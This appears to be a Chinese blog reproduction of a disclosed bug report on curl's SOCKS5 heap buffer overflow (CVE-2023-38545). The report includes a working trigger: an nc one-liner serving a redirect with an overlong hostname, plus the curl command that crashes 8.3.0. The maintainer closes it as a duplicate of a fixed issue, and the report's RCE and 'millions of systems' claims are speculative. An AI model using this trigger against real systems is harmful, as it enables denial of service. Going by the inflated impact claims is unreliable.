curl SOCKS5堆缓冲区溢出漏洞分析:恶意HTTP重定向与超长主机名攻击

本文详细分析了curl SOCKS5代理实现中的堆缓冲区溢出漏洞,攻击者可通过恶意HTTP重定向携带超长主机名触发内存破坏,可能导致远程代码执行、拒绝服务攻击和信息泄露,影响全球数百万使用curl的系统。

curl SOCKS5堆缓冲区溢出漏洞分析

漏洞概述

在curl的SOCKS5代理握手实现中存在一个基于堆的缓冲区溢出漏洞,当处理包含超过255个字符主机名的HTTP重定向时,整个主机名会通过memcpy()复制到固定大小的堆缓冲区中,导致堆内存破坏。

受影响版本

curl 8.3.0 (x86_64-pc-linux-gnu) libcurl/8.3.0 OpenSSL/3.0.2 zlib/1.2.11 brotli/1.0.9 发布日期:2023-09-13

漏洞复现步骤

1. 设置SOCKS5代理服务器

1
2
3
sudo apt-get install -y dante-server
# 配置danted监听1080端口且无需认证
sudo systemctl start danted

2. 创建恶意HTTP服务器返回包含超长主机名的重定向

1
printf "HTTP/1.1 301 Moved Permanently\r\nLocation: http:///$(printf 'A%.0s' {0..65000} )/\r\nContent-Length: 0\r\nConnection: close\r\n\r\n" | nc -l -p 8000 &

3. 执行易受攻击的curl命令

1
curl -v -L --limit-rate 32768 -x socks5h://localhost:1080 http://localhost:8000

4. 观察堆破坏现象

1
2
3
SOCKS5: server resolving disabled for hostnames of length > 255 [actual len=65001]
Can't complete SOCKS5 connection to AAAA...
free(): invalid next size (normal)

支持材料/参考证据

  • 堆破坏证据:错误信息"free(): invalid next size (normal)“确认了堆元数据损坏
  • 易受攻击代码路径:lib/socks.c - 非阻塞状态机中的SOCKS5主机名解析逻辑
  • 触发条件:需要–limit-rate < 65541 bytes/second来将缓冲区大小减小到主机名长度以下
  • 受影响缓冲区:基于堆的下载缓冲区(CURLOPT_BUFFERSIZE)

攻击场景

  • 攻击者控制恶意HTTP服务器或执行中间人攻击
  • 受害者使用带有SOCKS5代理的curl(常见于企业/注重隐私的环境)
  • 恶意重定向包含超过255个字符的主机名
  • 在SOCKS5握手期间发生堆溢出

影响分析

严重程度:高

此漏洞允许攻击者破坏堆内存,可能导致:

1. 远程代码执行(RCE)

通过适当的堆修饰和漏洞利用开发,攻击者可以:

  • 控制溢出内容以覆盖关键堆结构
  • 覆盖函数指针或vtable条目
  • 将程序执行重定向到攻击者控制的代码
  • 在易受攻击的应用程序上下文中实现任意代码执行

2. 拒绝服务(DoS)

堆破坏导致:

  • 应用程序立即崩溃(测试中已确认)
  • 依赖curl的应用程序服务中断
  • 由于内存破坏导致的系统不稳定

3. 信息泄露

取决于堆布局:

  • 可能从相邻堆块泄漏敏感数据
  • 通过损坏的指针暴露内存内容

攻击前提条件

  • 受害者必须使用带有SOCKS5代理的curl(socks5h://方案)
  • 攻击者必须控制HTTP服务器或执行中间人攻击
  • 应用程序必须具有缓冲区大小 < 65,541字节(通过–limit-rate选项轻松实现)

实际影响

  • 影响全球数百万使用curl/libcurl的系统
  • 常见于自动化系统、CI/CD流水线、网络爬虫、API客户端
  • 企业环境经常使用SOCKS5代理
  • 注重隐私的用户(Tor、VPN用户)风险更高

漏洞利用证明

成功触发了堆破坏,错误信息:“free(): invalid next size (normal)” 这确认了该漏洞是可利用的,不仅仅是理论上的。

额外建议

严重性评估:

CVSS v3.1基础分数:7.5(高) 攻击向量:网络 攻击复杂度:低 所需权限:无 用户交互:需要(受害者必须发出HTTP请求) 范围:未改变 机密性影响:无(但存在RCE可能性) 完整性影响:高 可用性影响:高

应包含的附件:

  • 显示堆破坏的完整漏洞利用输出日志
  • 概念验证脚本(exploit_cve_2023_38545.sh)
  • “free(): invalid next size"错误的截图
  • curl版本输出(curl -V)

项目方回应

bagder (curl工作人员) 在13天前评论: “感谢您的报告!我们将花时间调查您的报告,并尽快向您提供详细信息和可能的后续问题!很可能在接下来的24小时内。”

bagder (curl工作人员) 在13天前评论: “这不是https://curl.se/docs/CVE-2023-38545.html问题吗?”

abdullah-107 在13天前评论: “哦是的,抱歉”

bagder (curl工作人员) 在13天前评论: “对未来的建议:尝试使用最新版本复现,而不是两年前的版本…”

bagder (curl工作人员) 在12天前关闭报告并将状态更改为"不适用”。

bagder (curl工作人员) 在12天前请求披露此报告: “根据项目的透明政策,我们希望所有报告都被披露并公开。”

bagder (curl工作人员) 在11天前披露了此报告。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计